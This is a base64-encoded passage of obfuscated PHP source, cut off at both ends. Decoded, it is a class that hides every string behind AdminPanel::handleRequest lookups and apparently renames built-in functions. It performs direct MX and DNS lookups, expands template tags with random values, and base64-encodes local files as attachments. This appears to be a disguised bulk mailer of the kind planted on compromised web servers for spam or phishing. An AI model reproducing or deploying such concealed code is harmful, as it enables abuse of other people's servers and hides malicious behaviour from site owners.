ZXF1ZXN0KCdfZmEnLCAnX3h1YScpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfa3RrJywgJ19ubWonKSk7CiAgICAgICAgJF9xY2sgPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZnZrJywgJ19za2YnKTsKICAgICAgICBmb3JlYWNoICgkX25rIGFzICRfanBmKSB7CiAgICAgICAgICAgIGlmICgkX3FjayA9PSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcHBqJywgJ19wdHMnKSB8fCAkX3FjayA9PSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbWJsJywgJ19zYScpIHx8IGZldGNoX21ldGFkYXRhKCRfcWNrLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfaGxrJywgJ191aG0nKSkgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAkX3FjayA9IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19mYmgnLCAnX3JwdicpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghZW1wdHkoJF9xY2spKSB7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIWVtcHR5KCRfU0VSVkVSWyRfanBmXSkpIHsKICAgICAgICAgICAgICAgICRfaGFkID0gQHByZWdfcmVwbGFjZShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcXUnLCAnX2dmJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ydGwnLCAnX2doYicpLCAkX1NFUlZFUlskX2pwZl0pOwogICAgICAgICAgICAgICAgJF9xY2sgPSByZXNvbHZlX2RlcGVuZGVuY3koJF9oYWQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICghJF9xY2spIHsKICAgICAgICAgICAgJF9xY2sgPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfY2MnLCAnX2FnYScpOwogICAgICAgIH0KICAgICAgICAkX3FjayA9IEBwcmVnX3JlcGxhY2UoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX296aScsICdfc3dlJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19wbnAnLCAnX3FncycpLCAkX3Fjayk7CiAgICAgICAgJF9uaiA9ICRfcWNrOwogICAgICAgICRfeW94ID0gJF9xY2s7CiAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+cmVzb2x2ZUFjdGlvbigkX25qLCBmYWxzZSkpIHx8IEBwcmVnX21hdGNoKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19yancnLCAnX2RsZicpLCAkX3FjaykpIHsKICAgICAgICAgICAgcmV0dXJuIGFycmF5KCRfeW94LCAkX25qKTsKICAgICAgICB9CiAgICAgICAgaWYgKGZldGNoX21ldGFkYXRhKCRfcWNrLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZm5oJywgJ19oeicpKSAhPT0gZmFsc2UgJiYgQHByZWdfbWF0Y2goQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2dkYycsICdfd21oJyksICRfcWNrKSkgewogICAgICAgICAgICByZXR1cm4gYXJyYXkoJF95b3gsICRfbmopOwogICAgICAgIH0KICAgICAgICAkX2x4byA9IHN0YXJ0X3NlcnZpY2UoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX291aCcsICdfcHJ5JyksICRfbmopOwogICAgICAgIGlmIChpbml0X3N5c3RlbSgkX2x4bykgPiAwMikgewogICAgICAgICAgICAkX2R6byA9IGluaXRfc3lzdGVtKCRfbHhvKTsKICAgICAgICAgICAgZm9yICgkX290aCA9IDAxOyAkX290aCA8ICRfZHpvOyAkX290aCsrKSB7CiAgICAgICAgICAgICAgICAkX2Z0eCA9IGRpc3BhdGNoX3NpZ25hbChBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfd25xJywgJ19ybCcpLCBwcm9jZXNzX3F1ZXVlKCRfbHhvLCAkX290aCkpOwogICAgICAgICAgICAgICAgaWYgKGZldGNoX21ldGFkYXRhKCRfZnR4LCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfb2F6JywgJ191bScpKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfdnVoID0gQGdldGhvc3RieW5hbWUoJF9mdHgpOwogICAgICAgICAgICAgICAgaWYgKCRfdnVoKSB7CiAgICAgICAgICAgICAgICAgICAgJF95b3ggPSAkX2Z0eDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gYXJyYXkoJF95b3gsICRfbmopOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiByZXNvbHZlQWN0aW9uKCRfbXosICRfaHFlID0gdHJ1ZSkKICAgIHsKICAgICAgICAkX2ZpID0gYXJyYXkoKTsKICAgICAgICAkX3RpID0gYXJyYXkoKTsKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19qbWYnLCAnX3pzeCcpKSkgewogICAgICAgICAgICBpZiAoQGdldG14cnIoJF9teiwgJF9maSwgJF90aSkpIHsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9maSkpIHsKICAgICAgICAgICAgICAgICAgICBAYXJyYXlfbXVsdGlzb3J0KCRfdGksICRfZmkpOwogICAgICAgICAgICAgICAgICAgIHJldHVybiAkX2ZpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2pwdScsICdfcHpzJykpKSB7CiAgICAgICAgICAgICRfeGcgPSBAZG5zX2dldF9yZWNvcmQoJF9teiwgMDQwMDAwKTsKICAgICAgICAgICAgaWYgKCFlbXB0eSgkX3hnKSkgewogICAgICAgICAgICAgICAgZm9yZWFjaCAoJF94ZyBhcyAkX2xubCkgewogICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9sbmxbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3liaScsICdfcm5yJyldKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkX2ZpW10gPSAkX2xubFtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfaW1qJywgJ194bCcpXTsKICAgICAgICAgICAgICAgICAgICAgICAgJF90aVtdID0gaXNzZXQoJF9sbmxbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2R2dicsICdfb3onKV0pID8gJF9sbmxbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2xkeCcsICdfeHpvJyldIDogMDEyOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9maSkpIHsKICAgICAgICAgICAgICAgICAgICBAYXJyYXlfbXVsdGlzb3J0KCRfdGksICRfZmkpOwogICAgICAgICAgICAgICAgICAgIHJldHVybiAkX2ZpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoJF9ocWUpIHsKICAgICAgICAgICAgICAgICRfd2wgPSBAZG5zX2dldF9yZWNvcmQoJF9teiwgMDEpOwogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX3dsKSAmJiAhZW1wdHkoJF93bFswMF1bQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2V5aCcsICdfdG1oJyldKSkgewogICAgICAgICAgICAgICAgICAgICRfZmlbXSA9ICRfd2xbMDBdW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ193YScsICdfbGZ3JyldOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkX2ZpOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBnZW5lcmF0ZVRva2VuKCRfcWNrKQogICAgewogICAgICAgIGlmIChAcHJlZ19tYXRjaChBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdHJnJywgJ19oZycpLCAkX3FjaykpIHsKICAgICAgICAgICAgcmV0dXJuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19jeXQnLCAnX2hrdScpIC4gJF9xY2sgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbGNoJywgJ191YXgnKTsKICAgICAgICB9CiAgICAgICAgaWYgKGZldGNoX21ldGFkYXRhKCRfcWNrLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfb25hJywgJ19reWsnKSkgIT09IGZhbHNlICYmIEBwcmVnX21hdGNoKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19vaGUnLCAnX2ljbicpLCAkX3FjaykpIHsKICAgICAgICAgICAgcmV0dXJuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ195aW0nLCAnX2ZwYScpIC4gJF9xY2sgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfaXJzJywgJ192cmwnKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRfcWNrOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiByZXNvbHZlQ29uZmxpY3QoJF95bWYsICRfd3csICRfZGYgPSBudWxsKQogICAgewogICAgICAgICRfYncgPSBAc3RycG9zKCRfeW1mLCAkX3d3KTsKICAgICAgICBpZiAoJF9idyA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgcmV0dXJuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19sbW0nLCAnX3RvdCcpOwogICAgICAgIH0KICAgICAgICAkX250eCA9ICRfYncgKyBjb21wdXRlX291dHB1dCgkX3d3KTsKICAgICAgICBpZiAoJF9kZiA9PT0gbnVsbCkgewogICAgICAgICAgICByZXR1cm4gQHN1YnN0cigkX3ltZiwgJF9udHgpOwogICAgICAgIH0KICAgICAgICAkX292cSA9IEBzdHJwb3MoJF95bWYsICRfZGYsICRfbnR4KTsKICAgICAgICBpZiAoJF9vdnEgPT09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbXloJywgJ19wbncnKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIEBzdWJzdHIoJF95bWYsICRfbnR4LCAkX292cSAtICRfbnR4KTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gZXhlY3V0ZUFjdGlvbigkX2FmbikKICAgIHsKICAgICAgICAkX3ljYiA9IEBleHBsb2RlKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19keWwnLCAnX3djZScpLCAkX2Fmbik7CiAgICAgICAgcmV0dXJuIEB0cmltKCRfeWNiW2ZyZWVfcmVzb3VyY2VzKCRfeWNiKV0pOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBmaWx0ZXJSZXN1bHRzKCRfemgsICRfYWZuKQogICAgewogICAgICAgIEBwcmVnX21hdGNoX2FsbChBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfaHNtJywgJ19oZnUnKSwgJF96aCwgJF9sZ2UpOwogICAgICAgIEBwcmVnX21hdGNoX2FsbChBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfY3BxJywgJ19hdHQnKSwgJF96aCwgJF9xeXgpOwogICAgICAgIGlmICghZW1wdHkoJF9sZ2VbMDFdKSkgewogICAgICAgICAgICBmb3JlYWNoICgkX2xnZVswMV0gYXMgJF9vdGggPT4gJF96ZmMpIHsKICAgICAgICAgICAgICAgICRfeWMgPSBAZXhwbG9kZShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeXlrJywgJ195bGwnKSwgJF96ZmMpOwogICAgICAgICAgICAgICAgJF9mbWIgPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcGonLCAnX3FqJykgLiAkdGhpcy0+X25qIC4gQCRfU0VSVkVSW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19sbnonLCAnX3VwbScpXTsKICAgICAgICAgICAgICAgICRfYmogPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcXRiJywgJ19sbnYnKTsKICAgICAgICAgICAgICAgICRfYmogLj0gcmVzb2x2ZV9kZXBlbmRlbmN5KCRfeWNbMDBdKTsKICAgICAgICAgICAgICAgIGZvciAoJF9ydG4gPSAwMTsgJF9ydG4gPCBpbml0X3N5c3RlbSgkX3ljKTsgJF9ydG4rKykgewogICAgICAgICAgICAgICAgICAgIGlmIChmZXRjaF9tZXRhZGF0YSgkX3ljWyRfcnRuXSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX21ndScsICdfaWpkJykpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkX2JqIC49IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ld2QnLCAnX2ZvJykgLiB0cmltKCRfYWZuWzAwXSk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGZldGNoX21ldGFkYXRhKCRfeWNbJF9ydG5dLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfc3YnLCAnX3h1dCcpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF9paSA9IEBleHBsb2RlKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19tcGInLCAnX2JtaScpLCAkX3ljWyRfcnRuXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX2lpWzAxXSkgJiYgaXNzZXQoJF9hZm5bJF9paVswMV1dKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9iaiAuPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfY3RjJywgJ19iZScpIC4gJF9paVswMV0gLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcHZjJywgJ19menQnKSAuIHRyaW0oJF9hZm5bJF9paVswMV1dKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChmZXRjaF9tZXRhZGF0YSgkX3ljWyRfcnRuXSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3RvaicsICdfZmUnKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfZm1iID0gQGV4cGxvZGUoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2h5cCcsICdfdGwnKSwgJF95Y1skX3J0bl0sIDAyKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfZm1iWzAxXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfZm1iID0gJF9mbWJbMDFdOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF9iaiAuPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdXRuJywgJ19paGgnKSAuICRfeWNbJF9ydG5dOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfemggPSAkdGhpcy0+X3Z5bCgkX2xnZVswMF1bJF9vdGhdLCAkX2ZtYiAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ191dScsICdfaWRjJykgLiBiYXNlNjRfZW5jb2RlKCRfYmopLCAkX3poKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoZmV0Y2hfbWV0YWRhdGEoJF96aCwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX251bCcsICdfd2FrJykpICE9PSBmYWxzZSkgewogICAgICAgICAgICAkdGhpcy0+X3ZqZyA9IDAxOwogICAgICAgICAgICAkX2NsYSA9IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ybHAnLCAnX2ppaCcpIC4gJHRoaXMtPl9uaiAuIEAkX1NFUlZFUltBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfa2JuJywgJ196ZnUnKV0gLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfaGtwJywgJ191dycpIC4gYmFzZTY0X2VuY29kZSgkX2FmblswMF0pOwogICAgICAgICAgICAkX3poID0gbW9uaXRvcl9oZWFsdGgoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX25xbScsICdfYW12JyksICRfY2xhLCAkX3poKTsKICAgICAgICB9CiAgICAgICAgaWYgKCFlbXB0eSgkX3F5eFswMV0pKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCRfcXl4WzAxXSBhcyAkX290aCA9PiAkX3BrcSkgewogICAgICAgICAgICAgICAgJF9wbGIgPSBzdGFydF9zZXJ2aWNlKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19kYicsICdfeWdvJyksICRfcGtxKTsKICAgICAgICAgICAgICAgICRfcWsgPSBmYWxzZTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR0aGlzLT5feHcgYXMgJF92dSA9PiAkX3dxaikgewogICAgICAgICAgICAgICAgICAgIGlmICgkX3dxalswMF0gPT0gJF9xeXhbMDBdWyRfb3RoXSkgewogICAgICAgICAgICAgICAgICAgICAgICAkX3poID0gbW9uaXRvcl9oZWFsdGgoJF9xeXhbMDBdWyRfb3RoXSwgJF93cWpbMDFdLCAkX3poKTsKICAgICAgICAgICAgICAgICAgICAgICAgJF9xayA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICghJF9xaykgewogICAgICAgICAgICAgICAgICAgICRfcXhmID0gJF9wbGJbZnJlZV9yZXNvdXJjZXMoJF9wbGIpXTsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+X3h3W10gPSBhcnJheSgkX3F5eFswMF1bJF9vdGhdLCAkX3F4Zik7CiAgICAgICAgICAgICAgICAgICAgJF96aCA9IG1vbml0b3JfaGVhbHRoKCRfcXl4WzAwXVskX290aF0sICRfcXhmLCAkX3poKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBAcHJlZ19tYXRjaF9hbGwoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX213JywgJ19ob3cnKSwgJF96aCwgJF9nYmkpOwogICAgICAgIGlmICghZW1wdHkoJF9nYmlbMDFdKSkgewogICAgICAgICAgICBmb3JlYWNoICgkX2diaVswMV0gYXMgJF9raCA9PiAkX25vbCkgewogICAgICAgICAgICAgICAgQHByZWdfbWF0Y2hfYWxsKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19iZ3knLCAnX3BhbicpLCAkX25vbCwgJF95Y20pOwogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX3ljbVswMV0pKSB7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJF95Y21bMDFdIGFzICRfeW5yID0+ICRfb2QpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGpjZygkX29kKSAmJiBpc3NldCgkX2FmblskX29kXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfbm9sID0gJHRoaXMtPl92eWwoJF95Y21bMDBdWyRfeW5yXSwgJF9hZm5bJF9vZF0sICRfbm9sKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfemggPSAkdGhpcy0+X3Z5bCgkX2diaVswMF1bJF9raF0sIGFuYWx5emVfZGF0YSgkX25vbCksICRfemgpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIEBwcmVnX21hdGNoX2FsbChBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZWh2JywgJ19kbWInKSwgJF96aCwgJF94a2EpOwogICAgICAgIGlmICghZW1wdHkoJF94a2FbMDFdKSkgewogICAgICAgICAgICBmb3JlYWNoICgkX3hrYVswMV0gYXMgJF9vdGggPT4gJF9nZmYpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5fdWVbXSA9IEBleHBsb2RlKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19iamEnLCAnX2lkcycpLCAkX2dmZik7CiAgICAgICAgICAgICAgICAkX3poID0gJHRoaXMtPl92eWwoJF94a2FbMDBdWyRfb3RoXSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2JrbicsICdfc2N3JyksICRfemgpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIEBwcmVnX21hdGNoX2FsbChBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYmNhJywgJ196cHgnKSwgJF96aCwgJF91Zyk7CiAgICAgICAgaWYgKCFlbXB0eSgkX3VnWzAxXSkpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJF91Z1swMV0gYXMgJF9vdGggPT4gJF92b28pIHsKICAgICAgICAgICAgICAgICRfcGxiID0gQGV4cGxvZGUoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX21qJywgJ19qdWYnKSwgJF92b28pOwogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfcGxiWzAwXSkpIHsKICAgICAgICAgICAgICAgICAgICBAcHJlZ19tYXRjaF9hbGwoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3FxbScsICdfanVlJyksICRfcGxiWzAwXSwgJF9wZik7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX3BmWzAxXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9wZlswMV0gYXMgJF9xYSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9weWogPSBAZXhwbG9kZShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYmx5JywgJ19vaG4nKSwgJF9xYSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaW5pdF9zeXN0ZW0oJF9weWopID09IDAyKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9tamkgPSByYW5kKHl4eCgkX3B5alswMF0pLCB5eHgoJF9weWpbMDFdKSAtIDAxKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX3BsYlswMF0gPSAkdGhpcy0+X3Z5bCgkX3FhLCAkX21qaSwgJF9wbGJbMDBdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX3BsYlswMF0gPSBtb25pdG9yX2hlYWx0aChhcnJheShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZnd5JywgJ191YnknKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3pnJywgJ19vcmYnKSksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ191bCcsICdfemEnKSwgJF9wbGJbMDBdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR0aGlzLT5fdWVbXSA9ICRfcGxiOwogICAgICAgICAgICAgICAgJF96aCA9ICR0aGlzLT5fdnlsKCRfdWdbMDBdWyRfb3RoXSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3hqJywgJ19xemknKSwgJF96aCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgQHByZWdfbWF0Y2hfYWxsKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19zd3knLCAnX25kdCcpLCAkX3poLCAkX2N3KTsKICAgICAgICBpZiAoIWVtcHR5KCRfY3dbMDFdKSkgewogICAgICAgICAgICAkX3ZwID0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2ZwZycsICdfcHd6Jyk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRfY3dbMDFdIGFzICRfZWtyID0+ICRfbHMpIHsKICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkX3ZwLCBAZmlsZV9nZXRfY29udGVudHMoJF9scykpOwogICAgICAgICAgICAgICAgJF94c2kgPSBAZmlsZV9nZXRfY29udGVudHMoJF92cCk7CiAgICAgICAgICAgICAgICBpZiAoJF94c2kpIHsKICAgICAgICAgICAgICAgICAgICAkX3BsZCA9ICR0aGlzLT5feHdyKCRfdnApOwogICAgICAgICAgICAgICAgICAgICRfcGQgPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfY2knLCAnX3F2bCcpIC4gJF9wbGQgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeW5kJywgJ19hZCcpIC4gYmFzZTY0X2VuY29kZSgkX3hzaSk7CiAgICAgICAgICAgICAgICAgICAgJF96aCA9ICR0aGlzLT5fdnlsKCRfY3dbMDBdWyRfZWtyXSwgJF9wZCwgJF96aCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBAdW5saW5rKCRfdnApOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRfemggPSBtb25pdG9yX2hlYWx0aChhcnJheShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfamxyJywgJ193ZXAnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2d0ZScsICdfdG5iJykpLCBhcnJheShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeGttJywgJ19nbicpLCByZXNvbHZlX2RlcGVuZGVuY3koJF9hZm5bMDBdKSksICRfemgpOwogICAgICAgIHJldHVybiAkX3poOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfcmgoJF96cHgsICRfZXcsICRfeGx5ID0gbnVsbCkKICAgIHsKICAgICAgICAkX3lydyA9IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19nanEnLCAnX3JheScpIC4gJHRoaXMtPl93cygkdGhpcy0+X3RicCwgJF96cHgpIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2trZScsICdfcm5nJykgLiAkX2V3IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3JqJywgJ191eScpOwogICAgICAgIGlmICghaXdxKCRfeGx5KSkgewogICAgICAgICAgICAkX3lydyAuPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbm1zJywgJ194dScpIC4gJF94bHkgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfb2J0JywgJ19ldGInKTsKICAgICAgICB9CiAgICAgICAgJF95cncgLj0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3ZqJywgJ190Z2knKTsKICAgICAgICBpZiAoJHRoaXMtPl92aXIpIHsKICAgICAgICAgICAgJF95cncgLj0gbW9uaXRvcl9oZWFsdGgoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2prZScsICdfdnFvJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ194YmQnLCAnX3NzZCcpLCByZXNvbHZlX2RlcGVuZGVuY3koJHRoaXMtPl92aXIpKSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19leCcsICdfZmQnKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRfeXJ3OwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfd3MoJF9taSwgJF96aCkKICAgIHsKICAgICAgICBzd2l0Y2ggKCRfbWkpIHsKICAgICAgICAgICAgY2FzZSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeWonLCAnX2ZuYycpOgogICAgICAgICAgICAgICAgcmV0dXJuIGZ1bmN0aW9uX2V4aXN0cyhBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfemInLCAnX25meScpKSA/IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ194cmsnLCAnX3poaicpIC4gJHRoaXMtPl9taSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19heXcnLCAnX3F0cCcpIC4gYmFzZTY0X2VuY29kZShAaWNvbnYoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX21zbScsICdfcHpiJyksICR0aGlzLT5fbWksICRfemgpKSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19oYncnLCAnX2FnaCcpIDogQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2RyJywgJ19memYnKSAuICR0aGlzLT5fbWkgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeW5jJywgJ19xdmInKSAuIGJhc2U2NF9lbmNvZGUoJF96aCkgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfamx0JywgJ19oa